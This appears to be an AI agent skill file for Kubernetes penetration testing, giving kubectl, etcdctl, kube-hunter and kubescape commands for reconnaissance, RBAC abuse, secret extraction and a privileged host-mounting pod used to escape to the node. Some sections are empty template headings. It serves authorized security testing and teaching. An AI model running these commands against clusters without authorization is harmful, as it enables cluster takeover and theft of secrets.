Performing Kubernetes Penetration Testing

Performing Kubernetes Penetration Testing

Overview

Kubernetes penetration testing systematically evaluates cluster security by simulating attacker techniques against the API server, kubelet, etcd, pods, RBAC, network policies, and secrets. Using tools like kube-hunter, Kubescape, peirates, and manual kubectl exploitation, testers identify misconfigurations that could lead to cluster compromise.

When to Use

Trigger phrases:

• "performing kubernetes penetration testing"

• "Kubernetes penetration testing systematically evaluates cluster security by simu"

• When conducting security assessments that involve performing kubernetes penetration testing

• When following incident response procedures for related security events

• When performing scheduled security testing or auditing activities

• When validating security controls through hands-on testing

Prerequisites

• Authorized penetration testing engagement
• Kubernetes cluster access (various levels for different test scenarios)
• kube-hunter, kubescape, kube-bench installed
• kubectl configured
• Network access to cluster components

Core Concepts

This section covers core concepts for performing kubernetes penetration testing.

• Ensure all prerequisites are met before proceeding
• Follow the documented workflow steps in sequence
• Record results and any anomalies encountered during this phase

Kubernetes Attack Surface

MITRE ATT&CK for Kubernetes

Workflow

1. Scope and authorize — confirm written authorization and define target boundaries
2. Reconnaissance — enumerate targets, services, and potential attack surfaces
3. Exploitation — attempt exploitation of identified vulnerabilities within scope
4. Post-exploitation — document access level, lateral movement, and data exposure
5. Report and remediate — compile findings with reproduction steps and fix recommendations

Step 1: External Reconnaissance

# Discover Kubernetes services
nmap -sV -p 443,6443,8443,2379,10250,10255,30000-32767 target-cluster.com

# Check for exposed API server
curl -k https://target-cluster.com:6443/api
curl -k https://target-cluster.com:6443/version

# Check anonymous authentication
curl -k https://target-cluster.com:6443/api/v1/namespaces

# Check for exposed kubelet
curl -k https://node-ip:10250/pods
curl http://node-ip:10255/pods  # Read-only kubelet

Step 2: Automated Scanning with kube-hunter

# Install kube-hunter
pip install kube-hunter

# Remote scan
kube-hunter --remote target-cluster.com

# Internal network scan (from within cluster)
kube-hunter --internal

# Pod scan (from within a pod)
kube-hunter --pod

# Generate report
kube-hunter --remote target-cluster.com --report json --log output.json

Step 3: CIS Benchmark Assessment with kube-bench

# Run kube-bench on master node
kube-bench run --targets master

# Run on worker node
kube-bench run --targets node

# Check specific sections
kube-bench run --targets master --check 1.2.1,1.2.2,1.2.3

# JSON output
kube-bench run --json > kube-bench-results.json

# Run as Kubernetes job
kubectl apply -f https://raw.githubusercontent.com/aquasecurity/kube-bench/main/job.yaml
kubectl logs -l app=kube-bench

Step 4: Framework Compliance with Kubescape

# Install kubescape
curl -s https://raw.githubusercontent.com/kubescape/kubescape/master/install.sh | /bin/bash

# Scan against NSA/CISA hardening guide
kubescape scan framework nsa

# Scan against MITRE ATT&CK
kubescape scan framework mitre

# Scan against CIS Kubernetes Benchmark
kubescape scan framework cis-v1.23-t1.0.1

# Scan specific namespace
kubescape scan framework nsa --namespace production

# JSON output
kubescape scan framework nsa --format json --output kubescape-report.json

Step 5: RBAC Exploitation Testing

# Check current permissions
kubectl auth can-i --list

# Check specific high-value permissions
kubectl auth can-i create pods
kubectl auth can-i create pods --subresource=exec
kubectl auth can-i get secrets
kubectl auth can-i create clusterrolebindings
kubectl auth can-i '*' '*'  # cluster-admin check

# Enumerate service account tokens
kubectl get serviceaccounts -A
kubectl get secrets -A -o json | jq '.items[] | select(.type=="kubernetes.io/service-account-token") | {name: .metadata.name, namespace: .metadata.namespace}'

# Check for overly permissive roles
kubectl get clusterrolebindings -o json | jq '.items[] | select(.subjects[]?.name=="system:anonymous" or .subjects[]?.name=="system:unauthenticated")'

# Test service account impersonation
kubectl --as=system:serviceaccount:default:default get pods

Step 6: Secret Extraction Testing

# List all secrets
kubectl get secrets -A

# Extract specific secret
kubectl get secret db-credentials -o jsonpath='{.data.password}' | base64 -d

# Check for secrets in environment variables
kubectl get pods -A -o json | jq '.items[].spec.containers[].env[]? | select(.valueFrom.secretKeyRef)'

# Check for secrets in mounted volumes
kubectl get pods -A -o json | jq '.items[].spec.volumes[]? | select(.secret)'

# Search etcd directly (if accessible)
ETCDCTL_API=3 etcdctl --endpoints=https://etcd-ip:2379 \
  --cacert=/etc/kubernetes/pki/etcd/ca.crt \
  --cert=/etc/kubernetes/pki/etcd/server.crt \
  --key=/etc/kubernetes/pki/etcd/server.key \
  get /registry/secrets --prefix --keys-only

Step 7: Pod Exploitation

# Deploy test pod with elevated privileges
cat <<EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
  name: pentest-pod
  namespace: default
spec:
  hostNetwork: true
  hostPID: true
  containers:
  - name: pentest
    image: ubuntu:22.04
    command: ["sleep", "infinity"]
    securityContext:
      privileged: true
    volumeMounts:
    - name: host-root
      mountPath: /host
  volumes:
  - name: host-root
    hostPath:
      path: /
EOF

# Exec into pod
kubectl exec -it pentest-pod -- bash

# From inside privileged pod - access host filesystem
chroot /host

# From inside any pod - check internal services
curl -k https://kubernetes.default.svc/api/v1/namespaces
cat /var/run/secrets/kubernetes.io/serviceaccount/token

Step 8: Network Policy Testing

# Check for network policies
kubectl get networkpolicies -A

# Test pod-to-pod communication (should be blocked by policies)
kubectl run test-netpol --image=busybox --restart=Never -- wget -qO- --timeout=2 http://target-service.namespace.svc

# Test egress to external services
kubectl run test-egress --image=busybox --restart=Never -- wget -qO- --timeout=2 http://example.com

# Test access to metadata service (cloud environments)
kubectl run test-metadata --image=busybox --restart=Never -- wget -qO- --timeout=2 http://169.254.169.254/latest/meta-data/

Validation Commands

# Verify kube-hunter findings
kube-hunter --remote $CLUSTER_IP --report json

# Cross-validate with Kubescape
kubescape scan framework nsa --format json

# Check remediation effectiveness
kube-bench run --targets master,node --json

# Clean up pentest resources
kubectl delete pod pentest-pod
kubectl delete pod test-netpol test-egress test-metadata

When NOT to Use

• You don't have explicit written authorization to test
• Task is about defense/detection, not offense (use detection skills)
• You need to implement security controls (use implementing-* skills)
• Task requires compliance auditing (use auditing-* skills)
• You're investigating an incident (use incident response skills)
• Target is out of scope for your engagement
• Task is about vulnerability scanning only (use scanning tools)

Red Flags

• Performing actions without explicit written authorization from the asset owner
• Testing against production systems without a defined scope and rules of engagement
• Exceeding the authorized scope of the engagement
• Leaving persistent access mechanisms without explicit approval
• Causing denial-of-service on production systems during testing

Verification

• All steps executed successfully against a test environment before production use
• Output documented with screenshots or logs demonstrating expected behavior
• All exploited vulnerabilities documented with reproduction steps
• Scope boundaries confirmed — only authorized targets were tested
• Remediation recommendations included for every finding

References

• kube-hunter - Kubernetes Penetration Testing
• Kubescape - Kubernetes Security Platform
• kube-bench - CIS Benchmark
• MITRE ATT&CK Containers Matrix
• Kubernetes Threat Matrix - Microsoft

Process

1. Analyze the task requirements
2. Apply domain expertise
3. Verify output quality

Anti-Rationalization Table